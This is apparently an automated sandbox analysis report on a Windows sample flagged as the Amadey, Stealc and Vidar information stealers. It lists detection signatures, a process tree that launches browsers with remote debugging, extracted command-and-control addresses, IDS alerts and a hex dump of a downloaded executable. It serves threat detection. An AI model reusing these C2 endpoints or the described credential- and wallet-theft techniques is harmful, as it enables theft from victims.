Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1561318
MD5:	95f3ca862e25c3f480a223ccccb012df
SHA1:	b7f990086951e53c2793bbb1c7de6132e8ac768d
SHA256:	7580f9bc9e52aac6601e68fc96ccde08e25bbea4be52f6070b56a3a786ffc60d
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Maps a DLL or memory area into another process

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6028 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 95F3CA862E25C3F480A223CCCCB012DF)

chrome.exe (PID: 1828 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6308 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2244,i,756847330830855966,7502689708335668289,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 8064 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7704 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2376 --field-trial-handle=2248,i,10603555654738097725,8008663870441056165,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 8812 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsAEBGHDBKEB.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsAEBGHDBKEB.exe (PID: 8864 cmdline: "C:\Users\user\DocumentsAEBGHDBKEB.exe" MD5: 833012C3FEA2D5FE7974D1CBBA4FC697)

skotes.exe (PID: 9148 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 833012C3FEA2D5FE7974D1CBBA4FC697)

msedge.exe (PID: 7684 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7188 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2256,i,595274430834665206,15825286994374826831,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8176 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6456 --field-trial-handle=2256,i,595274430834665206,15825286994374826831,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7680 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6656 --field-trial-handle=2256,i,595274430834665206,15825286994374826831,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 7824 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7284 --field-trial-handle=2256,i,595274430834665206,15825286994374826831,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 7784 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7284 --field-trial-handle=2256,i,595274430834665206,15825286994374826831,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 8532 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6644 --field-trial-handle=2256,i,595274430834665206,15825286994374826831,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 9168 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 833012C3FEA2D5FE7974D1CBBA4FC697)

skotes.exe (PID: 6360 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 833012C3FEA2D5FE7974D1CBBA4FC697)

d32823a5a7.exe (PID: 4868 cmdline: "C:\Users\user\AppData\Local\Temp\1008339001\d32823a5a7.exe" MD5: D0C3D4568B6684933FD3BB8302CF9438)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001C.00000002.3463203597.00000000002F1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2741444292.0000000000888000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000003.3285872270.0000000004F90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2224417817.0000000004C50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000017.00000002.2844110306.00000000002F1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000003.2745221767.0000000005100000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000018.00000003.2805381358.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000002.2786535763.0000000000901000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2742447007.0000000000B41000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000018.00000002.2846312486.00000000002F1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000003.2803261634.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 6028	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6028	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6028	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6028	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author
22.2.DocumentsAEBGHDBKEB.exe.900000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
23.2.skotes.exe.2f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
28.2.skotes.exe.2f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
24.2.skotes.exe.2f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 6028, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 1828, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T05:02:21.825581+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49724	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T05:02:21.701438+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49724	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T05:02:22.157130+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49724	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T05:02:23.606434+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49724	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T05:02:22.279216+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49724	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T05:02:21.251068+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49724	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T05:04:07.248344+0100	2856147	1	A Network Trojan was detected	192.168.2.6	50101	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T05:02:10.469774+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	50109	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T05:04:11.984957+0100	2803305	3	Unknown Traffic	192.168.2.6	50113	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T05:02:24.522714+0100	2803304	3	Unknown Traffic	192.168.2.6	49724	185.215.113.206	80	TCP
2024-11-23T05:02:47.275582+0100	2803304	3	Unknown Traffic	192.168.2.6	49819	185.215.113.206	80	TCP
2024-11-23T05:02:49.392507+0100	2803304	3	Unknown Traffic	192.168.2.6	49819	185.215.113.206	80	TCP
2024-11-23T05:02:50.762354+0100	2803304	3	Unknown Traffic	192.168.2.6	49819	185.215.113.206	80	TCP
2024-11-23T05:02:51.883378+0100	2803304	3	Unknown Traffic	192.168.2.6	49819	185.215.113.206	80	TCP
2024-11-23T05:02:55.491735+0100	2803304	3	Unknown Traffic	192.168.2.6	49819	185.215.113.206	80	TCP
2024-11-23T05:02:56.642632+0100	2803304	3	Unknown Traffic	192.168.2.6	49819	185.215.113.206	80	TCP
2024-11-23T05:03:02.463855+0100	2803304	3	Unknown Traffic	192.168.2.6	49938	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/c4becf79229cb002.phpRi	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpHDBKEB.exeata;	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/indexE	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/freebl3.dll.1	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dllNg	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0000001C.00000002.3463203597.00000000002F1000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.6028.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1008339001\d32823a5a7.exe	ReversingLabs: Detection: 36%

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 47%
Source: file.exe	Virustotal: Detection: 51%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C986C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C986C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.6:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.6:49964 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50123 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2800096274.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2800096274.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 30MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49724 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49724 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49724
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49724 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49724
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49724 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:50101 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:50109

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 04:02:24 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 